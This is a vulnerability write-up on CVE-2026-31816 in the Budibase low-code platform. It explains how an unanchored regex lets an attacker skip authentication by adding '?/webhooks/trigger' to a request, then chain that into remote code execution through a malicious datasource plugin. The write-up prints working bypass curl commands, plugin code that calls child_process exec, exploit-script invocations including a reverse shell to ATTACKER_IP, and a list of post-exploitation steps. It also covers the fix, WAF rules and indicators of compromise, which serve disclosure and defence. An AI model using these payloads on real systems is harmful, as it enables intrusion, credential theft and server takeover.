Executive Summary
CVE-2026-31816 is a critical security vulnerability discovered in the Budibase low-code platform, with a CVSS score of 9.8 (Critical). This vulnerability consists of two components:
- Authentication Bypass: Due to a regex implementation flaw, attackers can bypass authentication via URL query string manipulation
- Remote Code Execution (RCE): After bypassing authentication, attackers can upload malicious plugins to achieve arbitrary code execution on the server
Attack Chain: Unauthenticated Access → Plugin Upload → DATASOURCE Plugin → Code Execution → Full System Control
1. Vulnerability Overview
| Attribute |
Value |
| CVE ID |
CVE-2026-31816 |
| Vulnerability Type |
Authentication Bypass + Remote Code Execution |
| CVSS Score |
9.8 (Critical) |
| Attack Vector |
Network (AV:N) |
| Attack Complexity |
Low (AC:L) |
| Privileges Required |
None (PR:N) |
| User Interaction |
None (UI:N) |
| Affected Versions |
Budibase < Patched Version |
1.2 CVSS Vector
1
| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
1.3 Impact Assessment
| Impact |
Rating |
Description |
| Confidentiality |
High (H) |
Complete data disclosure |
| Integrity |
High (H) |
Full system control |
| Availability |
High (H) |
Can cause service disruption |
2. Technical Analysis
2.1 Authentication Bypass Vulnerability
Vulnerability Location
packages/server/src/middleware/utils.ts
Vulnerable Code
1
2
3
4
5
6
7
8
| // Vulnerable implementation
const WEBHOOK_ENDPOINTS = new RegExp(
["webhooks/trigger", "webhooks/schema", "webhooks/discord", "webhooks/ms-teams"].join("|")
)
export function isWebhookEndpoint(ctx: UserCtx) {
return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}
|
Root Cause Analysis
-
Unanchored Regular Expression: The regex pattern lacks ^ and $ anchors, allowing matches at any position in the string
-
Incorrect Input Source: The function checks ctx.request.url, which includes the complete URL path and query string
-
Logic Flaw: The middleware logic is as follows:
1
2
3
4
5
| if (isWebhookEndpoint(ctx)) {
// Webhook endpoints don't require authentication
return next()
}
// Other endpoints require authentication
|
Bypass Method
Append ?/webhooks/trigger to any API request:
1
2
3
4
5
6
7
| # Normal request - requires authentication
curl http://localhost:10000/api/tables
# Returns: HTTP 302 redirect to login page
# Bypass authentication
curl "http://localhost:10000/api/tables?/webhooks/trigger"
# Returns: HTTP 200 Success!
|
Regex Matching Analysis
1
2
3
| Request URL: /api/tables?/webhooks/trigger
^^^^^^^^^^^^^^^^
Regex matches this part!
|
Since ctx.request.url returns the full path (including the query string after ?), and the regex is unanchored, webhooks/trigger within ?/webhooks/trigger will be matched.
2.2 Remote Code Execution Vulnerability
Vulnerability Location
packages/pro/src/sdk/plugins/index.ts:44-48
Vulnerable Code
1
2
3
4
5
6
7
8
| if (metadata.schema.type === PluginType.DATASOURCE) {
const js = loadJSFile(directory, jsFile.name)
try {
dynamicCodeExecution(js) // Arbitrary code execution here!
} catch (err: any) {
throw new Error(`JS invalid: ${message}`)
}
}
|
Root Cause Analysis
Budibase supports a plugin system that allows users to extend platform functionality. Plugins have three types:
| Type |
Execution Environment |
Security |
COMPONENT |
Browser (Frontend) |
Safe |
DATASOURCE |
Server (Backend) |
Dangerous - Can execute arbitrary code |
AUTOMATION |
Server (Backend) |
Potentially risky |
For DATASOURCE type plugins, Budibase dynamically executes the plugin’s JavaScript code during validation. This design is intended to verify plugin validity, but it also provides an RCE path for attackers.
RCE Exploitation Process
- Create Malicious Plugin:
1
2
3
4
5
6
7
8
9
10
| // schema.json - Declare as DATASOURCE type
{
"type": "datasource",
"schema": {
"friendlyName": "Malicious Plugin",
"type": "Non-relational",
"datasource": {...},
"query": {...}
}
}
|
- Inject Malicious Code:
1
2
3
4
| // plugin.js - Server-side execution
const {exec} = require('child_process');
exec('id > /tmp/pwned');
module.exports = {schema: {}, integration: function() {}};
|
- Upload Plugin (Bypassing Authentication):
1
2
| curl -X POST "http://target:10000/api/plugin/upload?/webhooks/trigger" \
-F "[email protected]"
|
- Code Execution: During upload, the server executes the plugin code for validation, completing the RCE.
3. Affected API Endpoints
3.1 Global APIs (No WORKSPACE_ID Required)
| Endpoint |
Method |
Function |
Severity |
/api/integrations |
GET |
Get all integration types |
High - Information Disclosure |
/api/integrations/:type |
GET |
Get specific integration config |
High - Information Disclosure |
/api/plugin |
GET |
List all plugins |
Medium - Information Disclosure |
/api/plugin |
POST |
Install plugin from URL |
Critical - RCE |
/api/plugin/upload |
POST |
Upload plugin file |
Critical - RCE |
/api/plugin/:id |
DELETE |
Delete plugin |
High - Denial of Service |
/api/plugin/updates |
GET/POST |
Check/apply updates |
Critical - RCE |
3.2 APIs Requiring WORKSPACE_ID
The following endpoints are affected but require a valid x-budibase-app-id header:
/api/tables - Table management
/api/rows - Row data operations
/api/datasources - Datasource management
/api/automations - Automation management
/api/users/metadata - User metadata
/api/roles - Role management
4. Attack Scenarios
1
2
3
4
5
6
7
8
| # Get all supported database types
curl -s "http://target:10000/api/integrations?/webhooks/trigger" | jq .
# Get PostgreSQL configuration structure (leaks default credentials)
curl -s "http://target:10000/api/integrations/POSTGRES?/webhooks/trigger" | jq .
# Get installed plugins
curl -s "http://target:10000/api/plugin?/webhooks/trigger" | jq .
|
4.2 Remote Code Execution
1
2
3
4
5
| # Using the exploit script
python3 CVE-2026-31816-upload-plugin.py \
-t http://target:10000 \
--create-and-upload \
--type datasource
|
4.3 Reverse Shell
1
2
3
4
5
6
7
8
| # Start listener
nc -lvnp 4444
# Execute exploit
python3 CVE-2026-31816-rshell.py \
-t http://target:10000 \
--lhost ATTACKER_IP \
--lport 4444
|
4.4 Post-Exploitation
After gaining shell access, attackers can:
| Operation |
Method |
| Steal environment variables |
Read process.env |
| Extract database credentials |
Read Budibase configuration files |
| Lateral movement |
Use stolen credentials to access other services |
| Persistence |
Write SSH public keys, create backdoor users |
| Privilege escalation |
Exploit container or host vulnerabilities |
5. Vulnerability Verification
5.1 Test Environment
- Target:
http://192.168.1.128:10000
- Budibase: Docker container environment
5.2 Verification Steps
1
2
3
4
5
6
7
8
9
10
11
| # Step 1: Confirm vulnerability exists
curl -s "http://192.168.1.128:10000/api/integrations?/webhooks/trigger" --compressed | head
# Step 2: Upload RCE plugin
python3 CVE-2026-31816-upload-plugin.py -t http://192.168.1.128:10000 \
--create-and-upload --type datasource
# Step 3: Verify command execution
# Check on Budibase server
docker exec -it budibase-server ls /tmp
# Output contains: 123 ← RCE successful!
|
5.3 Verification Results
RCE CONFIRMED SUCCESSFULLY
1
2
| root@1aa20b8fb9db:/tmp# ls
123 # ← File created by attacker
|
6.1 Official Fix
1
2
3
4
5
6
7
8
9
| // Fixed code
const WEBHOOK_ENDPOINTS = new RegExp(
"^/api/webhooks/(trigger|schema|discord|ms-teams|slack)(/|$)"
)
export function isWebhookEndpoint(ctx: UserCtx): boolean {
const path = ctx.path || ctx.request.url.split("?")[0]
return WEBHOOK_ENDPOINTS.test(path)
}
|
Fix measures:
- Anchor Regular Expression: Add
^ to ensure matching from string start
- Exclude Query String: Use
ctx.path or manually split content after ?
- Specify Complete Path Format: Define full
/api/webhooks/... path
6.2 Temporary Mitigation
Before official fix is available:
1
2
3
4
5
6
7
8
9
10
11
| # Nginx WAF rule
if ($request_uri ~* "\?/webhooks/") {
return 403;
}
# Or more strict rule
location ~ ^/api/ {
if ($args ~* "webhooks") {
return 403;
}
}
|
1
2
3
4
5
| # Restrict plugin upload endpoint
location /api/plugin {
allow 10.0.0.0/8; # Internal network only
deny all;
}
|
7. Security Recommendations
- Immediate Upgrade: Apply official patches
- Network Isolation: Budibase should not be directly exposed to the internet
- Least Privilege: Ensure Budibase process runs as non-root user
- Log Monitoring: Detect abnormal plugin upload activities
- WAF Protection: Deploy Web Application Firewall
- Plugin Validation: Implement stricter plugin validation mechanisms
- Access Control: Implement IP-based access control for sensitive endpoints
8. Indicators of Compromise (IOCs)
8.1 Network Indicators
- Requests containing
?/webhooks/ in URL
- Unexpected POST requests to
/api/plugin/upload
- Large file uploads to plugin endpoints
8.2 System Indicators
- Unexpected plugins in Budibase plugin directory
- Unusual processes spawned by Node.js/Budibase
- Modified system files or new user accounts
8.3 Log Indicators
1
2
3
| # Look for these patterns in access logs
GET /api/integrations?/webhooks/trigger
POST /api/plugin/upload?/webhooks/trigger
|
9. PoC:
https://github.com/imjdl/CVE-2026-31816-rshell
10. References
- Budibase Official Documentation: https://docs.budibase.com
- Budibase GitHub: https://github.com/Budibase/budibase
- OWASP Authentication Bypass: https://owasp.org/www-community/Bypass_Bypassed
- CWE-287: Improper Authentication
- CWE-94: Improper Control of Generation of Code (‘Code Injection’)